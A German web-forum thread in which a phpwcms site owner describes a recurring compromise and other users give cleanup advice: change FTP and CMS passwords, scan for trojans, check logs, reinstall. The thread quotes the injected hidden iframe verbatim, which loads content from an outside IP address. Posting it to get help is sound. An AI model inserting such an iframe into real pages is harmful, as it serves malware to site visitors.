Fehlermeldungen / Sicherheitsproblem

[mrwmandy]

Auf einer Seite, die ich mit phpwcms umgesetzt habe, hackt sich immer einer ein, und hinterlässt diesen Quelltext in der index:

Code: Select all

<iframe src="http://195.242.161.162/stats/priemIframe.php?sh=1&hashftp=1e636096803af7ae83726ea64ebb4447&hashpage=0cd69817e5478f680895155df71aba0d" width=10 border=1 height=10 style="visibility:hidden"></iframe>

Danach wird jedem Besucher gemeldet, dass die Seite unsicher ist und es erscheint eine Maleware-Warnung.

Der Provider schiebt die Verantwortung von sich und schiebt das auf unsichere Scripte. Woran kann das liegen? Mit anderen Seiten habe ich das Problem nicht.

[flip-flop]

Hi,

- Welche CMS Version verwendest du?
- FTP, CMS-und Account-PWs schon geändert?
- Welche besonderen Scripte verwendest du?

Dein Rechner, bzw. die Rechner von denen aus FTP zu diesem Account veranstaltet wird sind alle sauber? Nicht dass irgendwo der FTP Zugang durch ein böses Tool publiziert wurde/wird?

Knut

[Cipolla]

Wie Knut schon sagte zunächst mal alle passworte ändern und Dateien zurücksetzen.

Hast du evtl. ein besonderes (fremdes, nicht phpwcms-eigenes) Formular auf deinen Seiten? Falls ja, schmeiss das mal raus. Auch falls vorhanden andere scripte (javascript wie auch php) mal rausschmeissen. Könnte sich um Iframe-injection handeln.

Und prüfe mal andere index bzw. php/html - dateien auf deinem Web-Server ob da ggfs. auch code auftaucht.

[mrwmandy]

also ich habe keine Fremscripte genutzt, sondern nur was phpwcms hergibt. Version ist 1.4.7.
Ich werde das mit der Passwortänderung mal vorschlagen, per FTP gehe eigentlich nur ich drauf. Die beiden Mädels, die das pflegen machen alles über das LOGIN.

AHHHHHHHHHHHHHHH... auf der login.php habe ich das Gleiche gefunden und gleich gelöscht.

Danke erst einmal.

[flip-flop]

Bitte meine Frage vollständig beantworten.

Dort hat jemand einen Ftp-Zugriff oder tiefere Rechte auf dem Server.

Oder du verwendest eine uralte CMS-Version.
Setup-Verzeichnis existiert nicht mehr?

Logdateien des Accounts prüfen.
Es werden noch mehrere Dateien befallen sein.

Du scheinst damit recht locker umzugehen, im schlimmsten Fall gehört die Seite im Moment zu den Trojanerschleudern.
Die IP schein zu einem Russischen Account zu gehören....

Besser vom Netz nehmen und genau prüfen, was da so alles befallen ist, wann und wie passiert.

Knut

[juergen]

...weil das sonst ins Auge gehen kann !

[Cipolla]

Ich würde in jedem Fall auch mal deinen Rechner bzw. den Rechner, auf dem FTP Daten hochgeladen wurden auf Viren / Trojaner checken.

Lass mich mal raten, Filezilla als Datenschubser verwendet?

[santscho]

Ich würde alles auf dem FTP mal in ein unterverzeichnis "alt" verschieben. Dann alles ausser eigene Templates und das Filearchive löschen. phpwcms neu hochladen. Aufwand total: 60 Minuten maximal.

[mseydel]

Hallo Mandy,

gleiches Problem hatte ich (leider) auch schon. Ich würde es auch (erst mal) so machen wie Santscho das geschrieben hat (die Datenbank und die Daten darin bleiben ja erhalten) dann natürlich auch alle Zugangsdaten (FTP etc.) ändern.. und im Auge behalten das ganze.

Der Provider fängt nicht zufällig mit (G...) an ?

Gruß
Matthias

[mrwmandy]

Ich habe gerade gesehen, dass ich auf alle eurer netten Posts gar nicht geantwortet habe.
Wir haben die Seite erst einmal offline genommen, alle betroffenen Dateien bereinigt (Originaldaten einfach neu aufgespielt), Passwörter gewechselt und ich habe der Dame, die die Seite betreut habe davon in Kenntniss gesetzt, dass sie "Google FTP" lieber nicht zum Bilderupload nutzen sollte, sondern den CMS internen Bilderupload nutzen soll.

Dann gabs noch mal eine Mail an den Provider. Die haben natürlich gemeint, dass sie keine Schuld trifft und bei denen alles sicher ist.
Aber am Ende waren wir das Problem wieder los und seit dem läuft alles wieder reibungslos.